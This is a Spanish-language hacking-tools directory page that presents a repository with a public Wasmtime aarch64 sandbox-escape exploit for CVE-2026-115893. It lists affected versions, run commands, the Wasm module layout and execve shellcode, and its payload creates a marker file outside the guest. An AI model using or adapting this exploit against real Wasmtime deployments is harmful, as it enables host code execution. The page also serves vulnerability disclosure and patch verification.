Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-115893-wasmtime-sandbox-escape — CVE-2026-115893: exploit público de escape de sandbox en Wasmtime aarch64 Cranelift br_table, PoV, notas de calibración y evidencia de verificación. | Kitploit
Herramientas/GitHubGitHub/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape
Análisis de VulnerabilidadesExplotaciónShellcodePapers e InvestigaciónDesarrollo de PayloadsExplotación de Binarios
GitHubshreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape

CVE-2026-115893-wasmtime-sandbox-escape

CVE-2026-115893: exploit público de escape de sandbox en Wasmtime aarch64 Cranelift br_table, PoV, notas de calibración y evidencia de verificación.

Ver Repositorio
1hace 25 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    624
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    412
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer es una plataforma de gestión de accesos privilegiados (PAM) de código abierto que proporciona a los equipos de DevOps y TI acceso seguro y bajo demanda a endpoints SSH, RDP, Kubernetes, base de datos y RemoteApp a través de un navegador web.

    333
  • 5

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    328
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motor de OSINT impulsado por IA para descubrir y mapear más de 7.700 identidades en redes sociales en toda la web

    280

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-115893: Escape del sandbox de Wasmtime en aarch64

Un exploit funcional de escape completo del sandbox, prueba de vulnerabilidad y paquete de verificación para CVE-2026-115893 — la miscompilación br_table de Cranelift en aarch64 en Wasmtime.

Descripción general

CVE-2026-115893 es un error de flujo de control del compilador en el backend Cranelift de aarch64 de Wasmtime. Un br_table de Wasm con suficientes objetivos produce un JTSequence cuya rama B.cond por defecto tiene un desplazamiento fuera del rango de codificación de la rama condicional. El offset se desborda, por lo que un módulo Wasm válido puede saltar a un offset influido por el usuario dentro del código JIT.

Este repositorio demuestra un escape completo:

  • la rama mal compilada aterriza en un pool de literales JIT ejecutable que el módulo influyó en tiempo de compilación;
  • el pool ejecuta un payload de AArch64;
  • el payload realiza una llamada al sistema del host, reemplaza el proceso de Wasmtime con /usr/bin/touch y crea /tmp/wt-pwn fuera del guest.

El módulo no tiene importaciones y no usa WASI. Esto es ejecución de código en el host con los privilegios del proceso de Wasmtime, no automáticamente root.

Esto no es CVE-2026-115889. Ese es un error separado de desbordamiento de índice en Cranelift cuyo impacto reproducido es un panic/DoS del compilador.

Versiones afectadas

Rango de versionesCVE-2026-115889CVE-2026-115893 (aarch64)
<36.0.19VulnerableVulnerable
36.0.19CorregidoCorregido
37.0.0–42.xVulnerableVulnerable
43.0.0–48.0.6CorregidoVulnerable en aarch64
48.0.7CorregidoCorregido
49.0.0–49.0.3CorregidoVulnerable hasta 49.0.4
49.0.4+CorregidoCorregido

Para este CVE, use una versión corregida dedicada: 49.0.4, 48.0.7 o 36.0.19.

Resultado verificado

EntornoWasmtimeResultado
macOS 26.7.1 arm64, nativo49.0.3PASS 5/5: rc=0, marcador creado
Contenedor Linux arm6449.0.3PASS 3/3: rc=0, marcador creado
macOS arm6449.0.4REJECT 3/3: rc=1, sin marcador
Contenedor Linux arm6449.0.4REJECT 3/3: rc=1, sin marcador
macOS arm6449.0.3Control de 65.520 objetivos: sin marcador
macOS arm6449.0.4Control de 65.520 objetivos: sin marcador

El exploit es determinista en la compilación probada. No es ciego a la versión; distintas compilaciones de Wasmtime pueden necesitar reajustes.

Capturas de pantalla

Linux arm64 PoV: Wasmtime 49.0.3 sale con 0 y crea /tmp/wt-pwn

Figura 1. Contenedor Linux arm64, Wasmtime 49.0.3. El proceso sale con 0 después de que el payload cree /tmp/wt-pwn fuera del guest.

Wasmtime 49.0.4 rechaza un br_table genérico sobredimensionado

Figura 2. Wasmtime 49.0.4 rechaza un br_table genérico de 100.000 objetivos en el límite de implementación de 65.520 objetivos. Este módulo genérico no es el módulo del exploit; ilustra el límite corregido.

Requisitos

  • host/contenedor aarch64 macOS o Linux;
  • Wasmtime 49.0.3 para la ejecución vulnerable;
  • Wasmtime 49.0.4 para el control corregido;
  • objdump para la inspección de objetivos de rama;
  • Python 3 para los generadores;
  • Docker solo si se usa el ejemplo del contenedor Linux.

Binarios de la versión y SHA-256:

macOS 49.0.3  fec6a4ca5e4310210b2feaea32179cfb51a40ab20eef48ec2345a61a3856002d
macOS 49.0.4  f5a9a33d7df600927ec2b4544cb6270cfcfbe5a7acaeb90952be39cd2584dda4
Linux 49.0.3  ffb2b17b12f6b43e6de3aab08f02269ca7cb481663e0cb189e256e9198bac770
Linux 49.0.4  7ff3862b2dee59318218c2dafd87650faf7840db2c21889b62535e9d0e7273ba

Nombres de tarball:

wasmtime-v49.0.3-aarch64-macos.tar.xz
wasmtime-v49.0.4-aarch64-macos.tar.xz
wasmtime-v49.0.3-aarch64-linux.tar.xz
wasmtime-v49.0.4-aarch64-linux.tar.xz

Hashes de módulos:

macOS  lab/jit-escape.wat        7cfe90b1fede88966df0330389967f27ff4e2a644e27ebac66e913fa299fc556
Linux  lab/jit-escape-linux.wat  299e585a3e96f311331e729f0786d5e2b7eb5f017bd0870180cc5365e0e88d25

Inicio rápido: macOS

git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape

export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-macos/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-macos/wasmtime

./scripts/verify-macos.sh

Ejecución manual:

"$WASMTIME_VULN" --version
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
ls -l /tmp/wt-pwn

Expected:

rc=0
-rw-r--r-- ... /tmp/wt-pwn

No se produce stdout ni stderr; execve reemplaza el proceso de Wasmtime. El payload crea únicamente /tmp/wt-pwn.

Inicio rápido: Linux arm64

git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape

export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-linux/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-linux/wasmtime

./scripts/verify-linux.sh

Ejemplo de contenedor:

cp -R "$PWD" /tmp/cve-2026-115893-wasmtime-sandbox-escape

docker run --rm --platform linux/arm64 --entrypoint sh \
  -v /tmp/cve-2026-115893-wasmtime-sandbox-escape:/work:ro \
  -v /path/to/wasmtime-v49.0.3-aarch64-linux:/wasmtime:ro \
  debian:bookworm-slim -lc '
    rm -f /tmp/wt-pwn
    /wasmtime/wasmtime run --invoke pwn /work/lab/jit-escape-linux.wat
    echo "rc=$?"
    ls -l /tmp/wt-pwn
  '

Control de versiones corregidas

rm -f /tmp/wt-pwn
"$WASMTIME_FIXED" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"

Expected:

rc=1
Unsupported feature: `br_table` has 524255 targets, which exceeds the
implementation limit of 65520
marker_exists=1

La ejecución fija de Linux rechaza 524.252 objetivos.

Controles negativos

Misma carga útil con 65.520 objetivos:

python3 poc/gen_jit_escape.py 65520 > /tmp/small.wat
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn /tmp/small.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"

Esperado: rc=0, sin marcador. Las constantes v128 y el shellcode por sí solos no crean el archivo; se requiere la tabla de gran tamaño.

Cambiar el recuento objetivo fuera del pool (n=524254) hace que la rama aterrice en 0x4c, provoca un fallo y no crea ningún marcador.

Cómo funciona el exploit

Diseño del módulo

(module
  (memory 16)
  (func $sc (param i32) (v128.store ...))      ; payload pool
  (func $f  (param i32) (br_table ...))        ; oversized switch
  (func (export "pwn") (call $f (i32.const N)))
)

sc nunca se llama. Sus constantes v128 se compilan en un pool de literales ejecutable .text. Los bytes son shellcode de AArch64.

La rama errónea

Para la compilación de macOS probada con n=524255:

  • f comienza cerca de 0xa0;
  • la rama de comparación/por defecto de JTSequence está en b4/b8;
  • el destino mal compilado de b.hs es 0x50, el primer byte del pool;
  • pwn llama a f con el selector que toma la rama por defecto.

El pool se ejecuta:

adr  x0, path
adr  x3, arg
adr  x4, arg
sub  sp, sp, #0x40
stp  x0, x3, [sp]
stp  xzr, xzr, [sp, #0x10]
mov  x1, sp
mov  x2, xzr
mov  x16, #59        ; macOS execve
svc  #0x80
brk  #0x43

La variante de Linux usa svc #0 y el número de syscall execve de Linux. Su recuento objetivo es 524,252 porque el prólogo sin PAC coloca el pool en 0x40.

Descargar herramienta